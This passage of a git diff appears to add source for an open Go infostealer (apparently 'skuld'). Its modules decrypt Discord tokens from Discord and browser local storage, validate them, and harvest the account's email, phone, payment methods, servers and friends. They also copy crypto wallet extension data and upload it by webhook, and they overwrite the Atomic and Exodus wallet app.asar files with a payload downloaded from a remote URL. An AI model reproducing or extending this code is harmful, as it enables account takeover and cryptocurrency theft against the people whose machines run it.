fmt.Sprintf("```%s```", GetNetwork()), + }, + { + "name": "Wifi", + "value": fmt.Sprintf("```%s```", GetWifi()), + }, + }, + }, { + "title": "All Users", + "description": fmt.Sprintf("```%s```", users), + }, + }, + }, GetScreens()...) + + requests.Webhook(webhook, map[string]interface{}{ + "embeds": []map[string]interface{}{}, + }) +} diff --git a/modules/tokens/._structs.go b/modules/tokens/._structs.go new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/modules/tokens/structs.go b/modules/tokens/structs.go new file mode 100644 index 0000000..3b4d117 --- /dev/null +++ b/modules/tokens/structs.go @@ -0,0 +1,33 @@ +package tokens + +type User struct { + ID string `json:"id"` + Username string `json:"username"` + Avatar string `json:"avatar"` + PublicFlags int `json:"public_flags"` + MfaEnabled bool `json:"mfa_enabled"` + PremiumType int `json:"premium_type"` + Email string `json:"email"` + Phone string `json:"phone"` +} + +type Billing struct { + Type int `json:"type"` +} + +type Guild struct { + ID string `json:"id"` + Name string `json:"name"` + Owner bool `json:"owner"` + Permissions string `json:"permissions"` + ApproximateMemberCount int `json:"approximate_member_count"` +} + +type Friend struct { + ID string `json:"id"` + User User `json:"user,omitempty"` +} + +type Invite struct { + Code string `json:"code"` +} diff --git a/modules/tokens/tokens.go b/modules/tokens/tokens.go new file mode 100644 index 0000000..e0989b7 --- /dev/null +++ b/modules/tokens/tokens.go @@ -0,0 +1,535 @@ +package tokens + +import ( + "encoding/base64" + "encoding/json" + "net/http" + "os" + "path/filepath" + "regexp" + "strconv" + "strings" + + "github.com/hackirby/skuld/modules/browsers" + "github.com/hackirby/skuld/utils/fileutil" + "github.com/hackirby/skuld/utils/hardware" + "github.com/hackirby/skuld/utils/requests" +) + +var ( + Regexp = regexp.MustCompile(`dQw4w9WgXcQ:[^\"]*`) + RegexpBrowsers = regexp.MustCompile(`[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}|mfa\.[\w-]{80,95}`) +) + +func Run(webhook string) { + var Tokens []string + discordPaths := map[string]string{ + "Discord": "\\discord\\Local State", + "Discord Canary": "\\discordcanary\\Local State", + "Lightcord": "\\lightcord\\Local State", + "Discord PTB": "\\discordptb\\Local State", + } + + for _, user := range hardware.GetUsers() { + for _, path := range discordPaths { + + path = user + "\\AppData\\Roaming" + path + + if !fileutil.Exists(path) { + continue + } + + dir := filepath.Dir(path) + c := browsers.Chromium{} + err := c.GetMasterKey(dir) + if err != nil { + continue + } + + var files []string + ldbs, err := filepath.Glob(filepath.Join(dir, "Local Storage", "leveldb", "*.ldb")) + if err != nil { + continue + } + files = append(files, ldbs...) + logs, err := filepath.Glob(filepath.Join(dir, "Local Storage", "leveldb", "*.log")) + if err != nil { + continue + } + files = append(files, logs...) + + for _, file := range files { + data, err := fileutil.ReadFile(file) + if err != nil { + continue + } + + for _, match := range Regexp.FindAllString(data, -1) { + encodedPass, err := base64.StdEncoding.DecodeString(strings.Split(match, "dQw4w9WgXcQ:")[1]) + if err != nil { + continue + } + decodedPass, err := c.Decrypt(encodedPass) + if err != nil { + continue + } + + token := string(decodedPass) + + if !ValidateToken(token) { + continue + } + + if Contains(Tokens, token) { + continue + } + + Tokens = append(Tokens, token) + } + } + } + + for name, path := range browsers.GetChromiumBrowsers() { + path = user + "\\" + path + + if !fileutil.IsDir(path) { + continue + } + + var profiles []browsers.Profile + if strings.Contains(path, "Opera") { + profiles = append(profiles, browsers.Profile{ + Name: "Default", + Path: path, + Browser: browsers.Browser{Name: name}, + }) + } else { + folders, err := os.ReadDir(path) + if err != nil { + continue + } + for _, folder := range folders { + if folder.IsDir() { + dir := filepath.Join(path, folder.Name()) + + if fileutil.Exists(filepath.Join(dir, "Web Data")) { + profiles = append(profiles, browsers.Profile{ + Name: folder.Name(), + Path: dir, + Browser: browsers.Browser{Name: name}, + }) + } + } + } + } + + c := browsers.Chromium{} + err := c.GetMasterKey(path) + if err != nil { + continue + } + + for _, profile := range profiles { + var files []string + ldbs, err := filepath.Glob(filepath.Join(profile.Path, "Local Storage", "leveldb", "*.ldb")) + if err != nil { + continue + } + files = append(files, ldbs...) + logs, err := filepath.Glob(filepath.Join(profile.Path, "Local Storage", "leveldb", "*.log")) + if err != nil { + continue + } + files = append(files, logs...) + + for _, file := range files { + data, err := fileutil.ReadFile(file) + if err != nil { + continue + } + + for _, token := range RegexpBrowsers.FindAllString(data, -1) { + if !ValidateToken(token) { + continue + } + + if Contains(Tokens, token) { + continue + } + + Tokens = append(Tokens, token) + + } + } + } + } + + for _, path := range browsers.GetGeckoBrowsers() { + path = user + "\\" + path + if !fileutil.IsDir(path) { + continue + } + + profiles, err := os.ReadDir(path) + if err != nil { + + continue + } + for _, profile := range profiles { + if !profile.IsDir() { + continue + } + + files, err := os.ReadDir(path + "\\" + profile.Name()) + if err != nil { + continue + } + + if len(files) <= 10 { + continue + } + + filepath.Walk(path+"\\"+profile.Name(), func(path string, info os.FileInfo, err error) error { + if err != nil { + return err + } + if !info.IsDir() { + if strings.Contains(info.Name(), ".sqlite") { + lines, err := fileutil.ReadLines(path) + if err != nil { + return err + } + for _, line := range lines { + for _, token := range RegexpBrowsers.FindAllString(line, -1) { + if !ValidateToken(token) { + continue + } + + if Contains(Tokens, token) { + continue + } + + Tokens = append(Tokens, token) + } + } + } + } + return nil + }) + } + + } + + } + + for _, token := range Tokens { + body, err := requests.Get("https://discord.com/api/v9/users/@me", map[string]string{"Authorization": token}) + if err != nil { + return + } + + var user User + if err = json.Unmarshal(body, &user); err != nil { + return + } + + billing, err := requests.Get("https://discord.com/api/v9/users/@me/billing/payment-sources", map[string]string{"Authorization": token}) + if err != nil { + return + } + + var billingData []Billing + if err = json.Unmarshal(billing, &billingData); err != nil { + return + } + + guilds, err := requests.Get("https://discord.com/api/v9/users/@me/guilds?with_counts=true", map[string]string{"Authorization": token}) + if err != nil { + return + } + + var guildsData []Guild + if err = json.Unmarshal(guilds, &guildsData); err != nil { + return + } + + friends, err := requests.Get("https://discord.com/api/v9/users/@me/relationships", map[string]string{"Authorization": token}) + if err != nil { + return + } + + var friendsData []Friend + + if err = json.Unmarshal(friends, &friendsData); err != nil { + return + } + + var avatar string + res, err := http.Get("https://cdn.discordapp.com/avatars/" + user.ID + "/" + user.Avatar + ".gif") + if err != nil { + return + } + + if res.StatusCode != 200 { + avatar = "https://cdn.discordapp.com/avatars/" + user.ID + "/" + user.Avatar + ".png" + } else { + avatar = "https://cdn.discordapp.com/avatars/" + user.ID + "/" + user.Avatar + ".gif" + } + + _ = avatar + + badges := GetFlags(user.PublicFlags) + nitro := GetNitro(user.PremiumType) + paymentMethods := GetBilling(billingData) + hqGuilds := GetHQGuilds(guildsData, token) + hqFriends := GetHQFriends(friendsData) + if user.Email == "" { + user.Email = "None" + } + if user.Phone == "" { + user.Phone = "None" + } + if user.MfaEnabled { + user.Phone = user.Phone + " (2FA)" + } + + embed := map[string]interface{}{ + "title": user.Username + " (" + user.ID + ")", + "thumbnail": map[string]string{ + "url": avatar, + }, + "fields": []map[string]interface{}{ + { + "name": " Token:", + "value": "```" + token + "```", + "inline": false, + }, + {"name": "\u200b", "value": "\u200b", "inline": false}, + { + "name": "<:egp_mail:875383124241055845> Email:", + "value": "`" + user.Email + "`", + "inline": true, + }, + { + "name": "<:starxglow:996004217699434496> Phone:", + "value": "`" + user.Phone + "`", + "inline": true, + }, + {"name": "\u200b", "value": "\u200b", "inline": false}, + { + "name": " Nitro:", + "value": nitro, + "inline": true, + }, + { + "name": "šŸ’Ž Badges:", + "value": badges, + "inline": true, + }, + { + "name": "<:purple_stars:1082566201105981440> Billing:", + "value": paymentMethods, + "inline": true, + }, + }, + } + + if hqGuilds != "" { + embed["fields"] = append(embed["fields"].([]map[string]interface{}), map[string]interface{}{ + "name": "\u200b", + "value": hqGuilds, + "inline": false, + }) + } + + if hqFriends != "" { + embed["fields"] = append(embed["fields"].([]map[string]interface{}), map[string]interface{}{ + "name": "\u200b", + "value": hqFriends, + "inline": false, + }) + } + + requests.Webhook(webhook, map[string]interface{}{ + "embeds": []map[string]interface{}{embed}, + }) + } +} + +func Contains(s []string, e string) bool { + for _, a := range s { + encodedA := strings.Split(a, ".")[0] + encodedE := strings.Split(e, ".")[0] + + decodedA, err := base64.RawStdEncoding.DecodeString(encodedA) + if err != nil { + continue + } + decodedE, err := base64.RawStdEncoding.DecodeString(encodedE) + if err != nil { + continue + } + + if string(decodedA) == string(decodedE) { + return true + } + } + return false +} + +func ValidateToken(token string) bool { + req, err := http.NewRequest("GET", "https://discord.com/api/v9/users/@me", nil) + req.Header.Set("Authorization", token) + if err != nil { + return false + } + + res, err := http.DefaultClient.Do(req) + if err != nil { + return false + } + + return res.StatusCode == 200 +} + +func GetHQFriends(friends []Friend) (hqFriends string) { + for _, friend := range friends { + flags := GetRareFlags(friend.User.PublicFlags) + if flags == "" { + continue + } + if hqFriends == "" { + hqFriends = "**Rare Friends:**\n" + } + hqFriends += flags + " - `" + friend.User.Username + "#" + " (" + friend.User.ID + ")`\n" + + if len(hqFriends) >= 1024 { + return "Too many friends to display." + } + } + return hqFriends +} + +func GetHQGuilds(guilds []Guild, token string) (hqGuilds string) { + for _, guild := range guilds { + if guild.Permissions != "562949953421311" && guild.Permissions != "2251799813685247" { + continue + } + if hqGuilds == "" { + hqGuilds = "**Rare Servers:**\n" + } + + res, err := requests.Get("https://discord.com/api/v8/guilds/"+guild.ID+"/invites", map[string]string{"Authorization": token}) + if err != nil { + continue + } + + var invites []Invite + err = json.Unmarshal(res, &invites) + if err != nil { + continue + } + + var invite string + if len(invites) > 0 { + invite = "[Join Server](https://discord.gg/" + invites[0].Code + ")" + } else { + invite = "No Invite" + } + + if guild.Owner { + hqGuilds += "<:SA_Owner:991312415352430673> Owner | `" + guild.Name + "` - Members: `" + strconv.Itoa(guild.ApproximateMemberCount) + "` - " + invite + "\n" + } else { + hqGuilds += "<:admin:967851956930482206> Admin | `" + guild.Name + "` - Members: `" + strconv.Itoa(guild.ApproximateMemberCount) + "` - " + invite + "\n" + } + + if len(hqGuilds) >= 1024 { + return "Too many servers to display." + } + } + + return hqGuilds +} + +func GetBilling(billing []Billing) (paymentMethods string) { + for _, method := range billing { + if method.Type == 1 { + paymentMethods += "šŸ’³" + } else if method.Type == 2 { + paymentMethods += "<:paypal:973417655627288666>" + } else { + paymentMethods += "ā“" + } + } + if paymentMethods == "" { + paymentMethods = "`None`" + } + + return paymentMethods +} + +func GetNitro(flags int) string { + switch flags { + case 1: + return "`Nitro Classic`" + case 2: + return "`Nitro`" + case 3: + return "`Nitro Basic`" + default: + return "`None`" + } +} + +func GetFlags(flags int) string { + flagsDict := map[string]int{ + "<:8485discordemployee:1163172252989259898>": 0, + "<:9928discordpartnerbadge:1163172304155586570>": 1, + "<:9171hypesquadevents:1163172248140660839>": 2, + "<:4744bughunterbadgediscord:1163172239970140383>": 3, + "<:6601hypesquadbravery:1163172246492287017>": 6, + "<:6936hypesquadbrilliance:1163172244474822746>": 7, + "<:5242hypesquadbalance:1163172243417858128>": 8, + "<:5053earlysupporter:1163172241996005416>": 9, + "<:1757bugbusterbadgediscord:1163172238942543892>": 14, + "<:1207iconearlybotdeveloper:1163172236807639143>": 17, + "<:1207iconactivedeveloper:1163172534443851868>": 22, + "<:4149blurplecertifiedmoderator:1163172255489085481>": 18, + "āŒØļø": 20, + } + + var result string + for emoji, shift := range flagsDict { + if int(flags)&(1<": 0, + "<:9928discordpartnerbadge:1163172304155586570>": 1, + "<:9171hypesquadevents:1163172248140660839>": 2, + "<:4744bughunterbadgediscord:1163172239970140383>": 3, + "<:5053earlysupporter:1163172241996005416>": 9, + "<:1757bugbusterbadgediscord:1163172238942543892>": 14, + "<:1207iconearlybotdeveloper:1163172236807639143>": 17, + "<:4149blurplecertifiedmoderator:1163172255489085481>": 18, + } + + var result string + for emoji, shift := range flagsDict { + if int(flags)&(1< 4090 { + found = "Too many wallets to list." + } + + tempZip := fmt.Sprintf("%s\\wallets.zip", os.TempDir()) + if err := fileutil.Zip(tempDir, tempZip); err != nil { + return + } + + defer os.RemoveAll(tempDir) + defer os.Remove(tempZip) + + requests.Webhook(webhook, map[string]interface{}{ + "embeds": []map[string]interface{}{{ + "title": "Wallets", + "description": "```" + found + "```", + }}, + }, tempZip) +} + +func Extensions(webhook string) { + Paths := map[string]string{ + "Authenticator": "\\Local Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai", + "Binance": "\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp", + "Bitapp": "\\Local Extension Settings\\fihkakfobkmkjojpchpfgcmhfjnmnfpi", + "BoltX": "\\Local Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca", + "Coin98": "\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg", + "Coinbase": "\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad", + "Core": "\\Local Extension Settings\\agoakfejjabomempkjlepdflaleeobhb", + "Crocobit": "\\Local Extension Settings\\pnlfjmlcjdjgkddecgincndfgegkecke", + "Equal": "\\Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac", + "Ever": "\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk", + "ExodusWeb3": "\\Local Extension Settings\\aholpfdialjgjfhomihkjbmgjidlcdno", + "Fewcha": "\\Local Extension Settings\\ebfidpplhabeedpnhjnobghokpiioolj", + "Finnie": "\\Local Extension Settings\\cjmkndjhnagcfbpiemnkdpomccnjblmj", + "Guarda": "\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln", + "Guild": "\\Local Extension Settings\\nanjmdknhkinifnkgdcggcfnhdaammmj", + "HarmonyOutdated": "\\Local Extension Settings\\fnnegphlobjdpkhecapkijjdkgcjhkib", + "Iconex": "\\Local Extension Settings\\flpiciilemghbmfalicajoolhkkenfel", + "Jaxx Liberty": "\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne", + "Kaikas": "\\Local Extension Settings\\jblndlipeogpafnldhgmapagcccfchpi", + "KardiaChain": "\\Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk", + "Keplr": "\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap", + "Liquality": "\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn", + "MEWCX": "\\Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm", + "MaiarDEFI": "\\Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm", + "Martian": "\\Local Extension Settings\\efbglgofoippbgcjepnhiblaibcnclgk", + "Math": "\\Local Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc", + "Metamask": "\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn", + "Metamask2": "\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm", + "Mobox": "\\Local Extension Settings\\fcckkdbjnoikooededlapcalpionmalo", + "Nami": "\\Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo", + "Nifty": "\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid", + "Oxygen": "\\Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh", + "PaliWallet": "\\Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn", + "Petra": "\\Local Extension Settings\\ejjladinnckdgjemekebdpeokbikhfci", + "Phantom": "\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa", + "Pontem": "\\Local Extension Settings\\phkbamefinggmakgklpkljjmgibohnba", + "Ronin": "\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec", + "Safepal": "\\Local Extension Settings\\lgmpcpglpngdoalbgeoldeajfclnhafa", + "Saturn": "\\Local Extension Settings\\nkddgncdjgjfcddamfgcmfnlhccnimig", + "Slope": "\\Local Extension Settings\\pocmplpaccanhmnllbbkpgfliimjljgo", + "Solfare": "\\Local Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic", + "Sollet": "\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno", + "Starcoin": "\\Local Extension Settings\\mfhbebgoclkghebffdldpobeajmbecfk", + "Swash": "\\Local Extension Settings\\cmndjbecilbocjfkibfbifhngkdmjgog", + "TempleTezos": "\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc", + "TerraStation": "\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp", + "Tokenpocket": "\\Local Extension Settings\\mfgccjchihfkkindfppnaooecgfneiii", + "Ton": "\\Local Extension Settings\\nphplpgoakhhjchkkhmiggakijnkhfnd", + "Tron": "\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec", + "Trust Wallet": "\\Local Extension Settings\\egjidjbpglichdcondbcbdnbeeppgdph", + "Wombat": "\\Local Extension Settings\\amkmjjmmflddogmhpjloimipbofnfjih", + "XDEFI": "\\Local Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf", + "XMR.PT": "\\Local Extension Settings\\eigblbgjknlfbajkfhopmcojidlgcehm", + "XinPay": "\\Local Extension Settings\\bocpokimicclpaiekenaeelehdjllofo", + "Yoroi": "\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb", + "iWallet": "\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj", + } + + users := hardware.GetUsers() + browsersPath := browsers.GetChromiumBrowsers() + var profilesPaths []browsers.Profile + for _, user := range users { + for name, path := range browsersPath { + path = fmt.Sprintf("%s\\%s", user, path) + if !fileutil.IsDir(path) { + continue + } + + browser := browsers.Browser{ + Name: name, + Path: path, + User: strings.Split(user, "\\")[2], + } + + if browser.Name == "Opera" || browser.Name == "OperaGX" { + profilesPaths = append(profilesPaths, browsers.Profile{ + Name: "Default", + Path: browser.Path, + Browser: browser, + }) + continue + } + + profiles, err := os.ReadDir(path) + if err != nil { + continue + } + for _, profile := range profiles { + if profile.IsDir() { + files, err := os.ReadDir(fmt.Sprintf("%s\\%s", path, profile.Name())) + if err != nil { + continue + } + for _, file := range files { + if file.Name() == "Web Data" { + profilesPaths = append(profilesPaths, browsers.Profile{ + Name: profile.Name(), + Path: fmt.Sprintf("%s\\%s", path, profile.Name()), + Browser: browser, + }) + } + } + } + } + } + } + + if len(profilesPaths) == 0 { + return + } + + tempDir := fmt.Sprintf("%s\\extensions-temp", os.TempDir()) + defer os.RemoveAll(tempDir) + found := "" + + for _, profile := range profilesPaths { + for name, path := range Paths { + path = fmt.Sprintf("%s%s", profile.Path, path) + if !fileutil.IsDir(path) { + continue + } + + err := fileutil.Copy(path, fmt.Sprintf("%s\\%s\\%s", tempDir, profile.Browser.User, name)) + if err != nil { + continue + } + found += fmt.Sprintf("\nāœ… %s - %s", profile.Browser.User, name) + } + } + + if found == "" { + return + } + + if len(found) > 4090 { + found = "Too many extensions to list." + } + + tempZip := fmt.Sprintf("%s\\extensions.zip", os.TempDir()) + if err := fileutil.Zip(tempDir, tempZip); err != nil { + return + } + defer os.Remove(tempZip) + requests.Webhook(webhook, map[string]interface{}{ + "embeds": []map[string]interface{}{{ + "title": "Extensions", + "description": "```" + found + "```", + }}, + }, tempZip) +} diff --git a/modules/walletsinjection/walletsinjection.go b/modules/walletsinjection/walletsinjection.go new file mode 100644 index 0000000..06f4d1d --- /dev/null +++ b/modules/walletsinjection/walletsinjection.go @@ -0,0 +1,97 @@ +package walletsinjection + +import ( + "io" + "net/http" + "os" + "path/filepath" + + "github.com/hackirby/skuld/utils/fileutil" + "github.com/hackirby/skuld/utils/hardware" +) + +func Run(atomic_injection_url, exodus_injection_url, webhook string) { + AtomicInjection(atomic_injection_url, webhook) + ExodusInjection(exodus_injection_url, webhook) +} + +func AtomicInjection(atomic_injection_url, webhook string) { + for _, user := range hardware.GetUsers() { + atomicPath := filepath.Join(user, "AppData", "Local", "Programs", "atomic") + if !fileutil.IsDir(atomicPath) { + continue + } + + atomicAsarPath := filepath.Join(atomicPath, "resources", "app.asar") + atomicLicensePath := filepath.Join(atomicPath, "LICENSE.electron.txt") + + if !fileutil.Exists(atomicAsarPath) { + continue + } + + Injection(atomicAsarPath, atomicLicensePath, atomic_injection_url, webhook) + } +} + +func ExodusInjection(exodus_injection_url, webhook string) { + for _, user := range hardware.GetUsers() { + exodusPath := filepath.Join(user, "AppData", "Local", "exodus") + if !fileutil.IsDir(exodusPath) { + continue + } + + files, err := filepath.Glob(filepath.Join(exodusPath, "app-*")) + if err != nil { + continue + } + + if len(files) == 0 { + continue + } + + exodusPath = files[0] + + exodusAsarPath := filepath.Join(exodusPath, "resources", "app.asar") + exodusLicensePath := filepath.Join(exodusPath, "LICENSE") + + if !fileutil.Exists(exodusAsarPath) { + continue + } + + Injection(exodusAsarPath, exodusLicensePath, exodus_injection_url, webhook) + } +} + +func Injection(path, licensePath, injection_url, webhook string) { + if !fileutil.Exists(path) { + return + } + + resp, err := http.Get(injection_url) + if err != nil { + return + } + defer resp.Body.Close() + + if resp.StatusCode != http.StatusOK { + return + } + + out, err := os.Create(path) + if err != nil { + return + } + defer out.Close() + + if _, err = io.Copy(out, resp.Body); err != nil { + return + } + + license, err := os.Create(licensePath) + if err != nil { + return + } + defer license.Close() + + license.WriteString(webhook) +} diff --git a/utils/.DS_Store b/utils/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..853af2208ff8dcf2c8b17d4160474f3820088458 GIT binary patch literal 6148 zcmeHKOHRW;4E4|g5nWJ;4a>PgZV;*~$uT`U)!(gsykw1l5g*{o{t*=0m(YRwa= zsKx53CqW$rJ>l0YXp0?q+pOsPM09F#A~kj9id5C%_0+{$nH{bI=-F(^NYT70U<#N5 z-wN>l;4v7pfVHA*9dL3401gor!?pBCpyvQE3s@^60&|)Q)KnLa7*5j>_kouMtQ9q# zoUDv_!pbh3P@JrexEDIPOwqh4U$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/utils/._hardware b/utils/._hardware new file mode 100755 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/utils/._requests b/utils/._requests new file mode 100755 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/utils/fileutil/._fileutil.go b/utils/fileutil/._fileutil.go new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/utils/fileutil/fileutil.go b/utils/fileutil/fileutil.go new file mode 100644 index 0000000..cbcce74 --- /dev/null +++ b/utils/fileutil/fileutil.go @@ -0,0 +1,307 @@ +package fileutil + +import ( + "bufio" + "fmt" + "io" + "io/ioutil" + "os" + "path/filepath" + "strings" + + "github.com/alexmullins/zip" +) + +func AppendFile(path string, line string) { + file, _ := os.OpenFile(path, os.O_WRONLY|os.O_APPEND|os.O_CREATE, 0644) + defer file.Close() + file.WriteString(line + "\n") +} + +func Tree(path string, prefix string, isFirstDir ...bool) string { + var sb strings.Builder + + files, _ := ioutil.ReadDir(path) + for i, file := range files { + isLast := i == len(files)-1 + var pointer string + if isLast { + pointer = prefix + "└── " + } else { + pointer = prefix + "ā”œā”€ā”€ " + } + if isFirstDir == nil { + pointer = prefix + } + if file.IsDir() { + fmt.Fprintf(&sb, "%sšŸ“‚ - %s\n", pointer, file.Name()) + if isLast { + sb.WriteString(Tree(filepath.Join(path, file.Name()), prefix+" ", false)) + } else { + sb.WriteString(Tree(filepath.Join(path, file.Name()), prefix+"│ ", false)) + } + } else { + fmt.Fprintf(&sb, "%sšŸ“„ - %s (%.2f kb)\n", pointer, file.Name(), float64(file.Size())/1024) + } + } + + tree := sb.String() + if len(tree) > 4090 { + tree = "Too many files to display" + } + return tree +} + +func Zip(dirPath string, zipName string) error { + zipFile, err := os.Create(zipName) + if err != nil { + return err + } + defer zipFile.Close() + + zipWriter := zip.NewWriter(zipFile) + defer zipWriter.Close() + + err = filepath.Walk(dirPath, func(filePath string, info os.FileInfo, err error) error { + if err != nil { + return err + } + + if info.IsDir() { + return nil + } + + relPath, err := filepath.Rel(dirPath, filePath) + if err != nil { + return err + } + + zipEntry, err := zipWriter.Create(relPath) + if err != nil { + return err + } + + file, err := os.Open(filePath) + if err != nil { + return err + } + defer file.Close() + + _, err = io.Copy(zipEntry, file) + if err != nil { + return err + } + + return nil + }) + + if err != nil { + return err + } + + return nil +} + +func ZipWithPassword(dirPath string, zipName string, password string) error { + zipFile, err := os.Create(zipName) + if err != nil { + return err + } + defer zipFile.Close() + + zipWriter := zip.NewWriter(zipFile) + defer zipWriter.Close() + + err = filepath.Walk(dirPath, func(filePath string, info os.FileInfo, err error) error { + if err != nil { + return err + } + + if info.IsDir() { + return nil + } + + relPath, err := filepath.Rel(dirPath, filePath) + if err != nil { + return err + } + + zipEntry, err := zipWriter.Encrypt(relPath, password) + if err != nil { + return err + } + + file, err := os.Open(filePath) + if err != nil { + return err + } + defer file.Close() + + _, err = io.Copy(zipEntry, file) + if err != nil { + return err + } + + return nil + }) + + if err != nil { + return err + } + + return nil +} + +func Copy(src, dst string) (err error) { + file, err := os.Stat(src) + if err != nil { + return err + } + + if file.IsDir() { + err = CopyDir(src, dst) + } else { + err = CopyFile(src, dst) + } + + return +} + +func CopyFile(src, dst string) (err error) { + in, err := os.Open(src) + if err != nil { + return + } + defer in.Close() + + out, err := os.Create(dst) + if err != nil { + return + } + defer func() { + if e := out.Close(); e != nil { + err = e + } + }() + + _, err = io.Copy(out, in) + if err != nil { + return + } + + err = out.Sync() + if err != nil { + return + } + + si, err := os.Stat(src) + if err != nil { + return + } + err = os.Chmod(dst, si.Mode()) + if err != nil { + return + } + + return +} + +func CopyDir(src string, dst string) (err error) { + src = filepath.Clean(src) + dst = filepath.Clean(dst) + + si, err := os.Stat(src) + if err != nil { + return err + } + if !si.IsDir() { + return fmt.Errorf("source is not a directory") + } + + _, err = os.Stat(dst) + if err != nil && !os.IsNotExist(err) { + return + } + if err == nil { + os.RemoveAll(dst) + } + + err = os.MkdirAll(dst, si.Mode()) + if err != nil { + return + } + + entries, err := ioutil.ReadDir(src) + if err != nil { + return + } + + for _, entry := range entries { + srcPath := filepath.Join(src, entry.Name()) + dstPath := filepath.Join(dst, entry.Name()) + + if entry.IsDir() { + err = CopyDir(srcPath, dstPath) + if err != nil { + return + } + } else { + if entry.Mode()&os.ModeSymlink != 0 { + continue + } + + err = CopyFile(srcPath, dstPath) + if err != nil { + return + } + } + } + + return +} + +func IsDir(path string) bool { + fileInfo, err := os.Stat(path) + if err != nil { + return false + } + return fileInfo.IsDir() +} + +func Exists(path string) bool { + _, err := os.Stat(path) + return !os.IsNotExist(err) +} + +func ReadFile(path string) (string, error) { + bytes, err := os.ReadFile(path) + if err != nil { + return "", err + } + return string(bytes), nil +} + +func ReadLines(path string) ([]string, error) { + f, err := os.Open(path) + if err != nil { + return nil, err + } + defer f.Close() + + result := make([]string, 0) + buf := bufio.NewReader(f) + + for { + line, _, err := buf.ReadLine() + l := string(line) + if err == io.EOF { + break + } + if err != nil { + continue + } + result = append(result, l) + } + + return result, nil +} diff --git a/utils/hardware/._hardware.go b/utils/hardware/._hardware.go new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/utils/hardware/hardware.go b/utils/hardware/hardware.go new file mode 100644 index 0000000..50c0205 --- /dev/null +++ b/utils/hardware/hardware.go @@ -0,0 +1,72 @@ +package hardware + +import ( + "bytes" + "fmt" + "net" + "os" + "os/exec" + "path/filepath" + "strings" + "syscall" + + "github.com/hackirby/skuld/utils/program" + "github.com/shirou/gopsutil/v3/disk" +) + +func GetHWID() (string, error) { + cmd := exec.Command("wmic", "csproduct", "get", "UUID") + 